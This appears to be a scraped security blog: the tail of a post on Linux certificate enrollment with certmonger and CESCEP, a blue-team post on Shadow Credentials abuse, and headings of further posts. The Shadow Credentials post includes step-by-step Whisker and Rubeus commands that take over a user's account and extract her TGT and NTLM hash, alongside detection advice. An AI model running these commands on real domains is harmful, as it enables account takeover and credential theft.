sudo getcert add-ca -c cescep-ca -e '/usr/local/libexec/certmonger/cepces-submit --server=ca.jmpesp.xyz --keytab=/etc/krb5.keytab'

The important parts from that command:

-c is going to be the name you use as your CA to request certificates going forward.
-e is pointing to the script that certmonger should use to get the CESCEP job done. It is the github package we downloaded and installed above. There’s a chance, depending on your distribution that it is not in that location. Use something like find / -name cepces-submit to be sure.
–keytab is how the Kerberos magic is going to work using the machine credentials. The ktutil command a little further back in this post can help if you think you have keytab issues.

The github instructions will advise you to use a –principal parameter in the CA configuration. I hit a wall with that. No matter what I did, the debug logs showed me a parser error. Instead, you can configure the principal part of this in the cepces config. My config was in /usr/local/etc/cepces/cepces.conf but it will vary slightly by distro (find / -name cepces.conf).

The double $ characters are important, it makes the parser handle computer SAM account names properly as an escape character. They would otherwise look like pop-os$ but that’s be interpreted wrong. To be clear though, you don’t need this change. The parser should work. But this reliably got me past the parser errors I was hitting on a default PopOS! install.

Trust the CA:

We kind of skipped a step, otherwise we’d be ready to roll.

We need to trust the TLS certificate that the CA is going to send us when we try to use CESCEP.

The easiest way I know to get the certificate chain for your CA trusted on the linux client is just to export it using firefox. If you just navigate to the CA on https://ca.jmpesp.xyz you’ll hit that default IIS page. If you’ve hit “ok, I trust the certificate warning” you should be able to get there despite the currently untrusted certificate. If you click on the certificate information in the browser you can navigate through and “download PEM chain” (Here’s an example post: https://www.shellhacks.com/get-ssl-certificate-from-server-site-url-export-download/).

Once you have the .pem file, copy it to /etc/ssl/certs and run

sudo update-ca-certificates --fresh --verbose

Request a certificate:

We should now be able to do:

sudo getcert request -c cescep-ca -w -v -M 644 -T Machine -I Computer -k computer.key -f computer.crt

You don’t need to pre-create the keys or a CSR, certmonger has your back. It knows how to work with CESCEP via the -c parameter which is what we configured a couple of steps back.

If everything worked, you’ll have a brand new certificate signed by your Microsoft CA. The CA was happy to give it up because of Kerberos authentication.

try:

openssl x509 -in computer.crt -text -noout

to inspect it.

You can also look in the Certification Authority manager console on the CA. You should see the linux computer certificate issued (certificate 8 in the screenshot).

Troubleshooting:

I had to fumble through all of the above. The commands in this section are useful things I found along the way:

If you think the keytab might not be doing what you need, mskutil can help out with a command that is very similar to the windows nltest secure channel command:

sudo msktutil update --dont-change-password --server dc.jmpesp.xyz --computer-name pop-os --no-reverse-lookups

To list current certificate requests being managed by certmonger (after trying a request):

sudo getcert list

Delete a request if things look crook:

sudo getcert stop-tracking -i Computer

(where -i is the tracking name we supplied in the getcert request command. it’ll be shown in getcert list)

More useful troubleshooting information if a getcert request is not successful:

sudo journalctl -xe -t certmonger | tail

If this log is empty for you it is possible to edit /lib/systemd/system/certmonger.service. There is a line ExecStart=/usr/sbin/certmonger -S -p /run/certmonger.pid -n $OPTS that is looking for a variables file. You’d usually put your logging options in that file, but if you don’t want to mess around working that out you can just do something like ExecStart=/usr/sbin/certmonger -S -p /run/certmonger.pid -n 15

Inspect the “CA” configuration:

sudo getcert list-cas

Remove a “CA” configuration if you think you’ve stuffed it up, or changed the configuration:

sudo getcert remove-ca -c cepces-ca

You can also use the IIS logs. The image below shows the failing CEPCES requests (python requests library) and a Windows client for comparison:

^ for what it is worth, this part of the log was when I had trouble with my computer keytab configuration.

Also recommended: Wireshark on the CA while working out your POC. It is hard to tell on the client side whether certmonger reached out to the CA at all. If you’re stuck, wireshark is really useful to see if the process is progressing that far.

Last Note:

Obviously most of the work above should be rolled into the configuration script for the computer. It wouldn’t be sustainable to do it on each machine manually. If you move this beyond a lab, treat the script as part of endpoint provisioning and include checks for time sync, DNS, keytab health, CA trust, and certificate renewal state.

References

Shadow Credentials

Sun, 30 Oct 2022 14:34:25 +0000

Shadow Credentials abuse targets the msDS-KeyCredentialLink attribute and the way Active Directory supports key trust authentication. The blue-team priority is simple: understand who can write that attribute, how those rights are inherited, and what telemetry exists when a new key credential appears.

Elad Shamir’s post on Shadow Credentials is the right place to read the details of this interesting approach: https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab. He documented the approach back in June, 2018.

Short Version for Blue Teamers:

The way I simplify (probably oversimplify) this when talking to people about it is:

There’s an Active Directory attribute called msDS-KeyCredentialLink
If an adversary or malicious insider is able to write to the attribute for a principal they want to use they can add their own self-generated key material and authenticate with that material.
Meaning, an adversary could be logging on as you or anyone in the domain, without your password, without you knowing anything about it IF they had write access to this attribute. The other note I call out explicitly on this one is that there is no need to enroll a certificate from the corporate certificate server. The adversary can create their own keypair. The environment still needs to support Kerberos PKINIT for the authentication step, which commonly means domain controllers have suitable certificates. The attribute: The permission: BloodHound is calling out the attack path where Olly happens to have write to the msDS-KeyCredentialLink attribute on Sally and Sally has domain admin privileges. In practice though, domain admin might not even be the goal, we might just be looking for accounts to take over. A practical insider-risk scenario is a delegated administrator who accumulates these permissions through account-creation workflows and can then access other principals without needing their passwords:
How does this happen in practice though?

If your first reaction was that it should be rare for someone to just have that unusual permission on its own, you’d be right. What usually happens in practice is that a principal will have one of: GenericAll, GenericWrite, Owns or WriteOwner permissions and with any of those, they can write the msDS-KeyCredentialLink in one or two steps. And to further drive home how this can happen in practice: if you create a user, you usually become the owner (unless you are a domain admin in which case ‘domain admins’ become the owner). So in practice if someone is creating a lot of users, and especially if they are creating privileged accounts, that user will have write permissions to the msDS-KeyCredentialLink attribute. Here’s a quick picture: The testOwner account was created by sally with net user /add testOwner P@ssw0rd123 /domain

How easily can this be abused?

Very. If the red team, or adversary is able to compromise an account that has the ability to write msDS-KeyCredentialLink on another principal they can do it with a small amount of effort. BloodHound even provides instructions:

Simple Abuse Example:

Keep in mind, we discovered that “olly” has the ability to write the msDS-KeyCredentialLink attribute on the “sally” principal.
Download and Compile Whisker: https://github.com/eladshamir/Whisker
Run: whisker.exe add /target:sally /domain:jmpesp.xyz /dc:dc1.jmpesp.xyz /path:file.pfx /password:pass
Download and Compile Rubeus: https://github.com/GhostPack/Rubeus
Run the command provided in the output of whisker: rubeus.exe /asktgt /user:sally /certificate:file.pfx /password:"pass" /domain:jmpesp.xyz /dc:dc1.jmpesp.xyz /getcredentials /show
We now have both a TGT and the NTLM hash for Sally and can now use this principal for whatever we need. On Sally’s end, not much has changed, she just goes about her day unaware that Olly has added this credential to her Active Directory object and can leverage it for whatever he needs. As a red-team example just to close this out with a screenshot abusing Sally’s account: But in reality the type of thing that has me most worried about this attack is the malicious insider who is just using this from time to time to access other users’ things undetected.

Detection and prevention notes

The defensive priorities are straightforward:

Treat write access to msDS-KeyCredentialLink as highly sensitive, especially when it applies to privileged users, service accounts, or broad OUs.
Monitor directory changes to msDS-KeyCredentialLink, including who made the change and which principal was modified.
Use BloodHound or equivalent ACL review to find principals with GenericAll, GenericWrite, WriteOwner, ownership, or explicit write permissions over target accounts.
Review help desk and provisioning workflows carefully; account creators and delegated admins can accumulate surprising ownership or write paths.

Chad Duffey

Following an access token with WinDbg: what Windows sees when you ask for access

What a token actually is

What lives in a token

Lab 1: see the token from user mode first

Lab 2: look at the token in live user-mode WinDbg

Lab 3: follow the token from EPROCESS

Primary token versus impersonation token

Privileges are not access rights

Integrity is in the token, but it is not the whole story either

Why attackers care about tokens

Closing thought

Sources worth keeping open

Why admin still can't touch some Windows processes

Lab setup

The map

The old model: admin plus debug privilege

Protected Processes changed the access check

Experiment 1: find the protected processes

PPL: protection becomes a signer hierarchy

LSA protection is the easiest example to care about

Experiment 2: probe the access rights

PPL also controls what code may load

Experiment 3: check the Code Integrity log

Can these protections be enabled or disabled?

The kernel debugger sees a different layer

Trustlets move the boundary again

Experiment 4: check whether VBS is running

What research says about these boundaries

The model that survives the lab

Before main(): tracing what Windows really does when you call CreateProcess

The short version

Lab setup

Experiment 1: ProcMon sees the scaffolding

Experiment 2: IFEO proves CreateProcess is policy-aware

Experiment 3: catch the process before the loader finishes

Experiment 4: loader snaps show the noisy truth

Experiment 5: prove API Set redirection

What CreateProcess is really doing

Why defenders should care

A small checklist for future investigations

Sources worth keeping open

Closing thought

Moving SYSVOL to a new disk

References

Using IL NOP's with dnSpy

NOP’S

References

Converting ETL to EVTX in 'real time' (for Azure App Proxy Front End Logs)

Azure Application Proxy Overview

Azure Application Proxy Logging

The Challenge

The Solution

Console App Example

Windows Service

References

WordPress Backdoor

Part 1: How did this happen?

Discovery

Part 2: The Malware

The rest of the Code

Disk Space and ExploitDB lookups:

Hiding from crawlers?

The password for the backdoor and the form to accept it:

Recon specific to hosting OS:

More Recon:

Removal of the Shell:

FTP and SQL login attempts:

Connect Back Function:

Some attribution?

Special Cookies:

Payments / Credit Card pinching:

Wrapping Up:

References

HTB - Search

Recon

Hostname

Users

Kerberoasting

Password Spray #2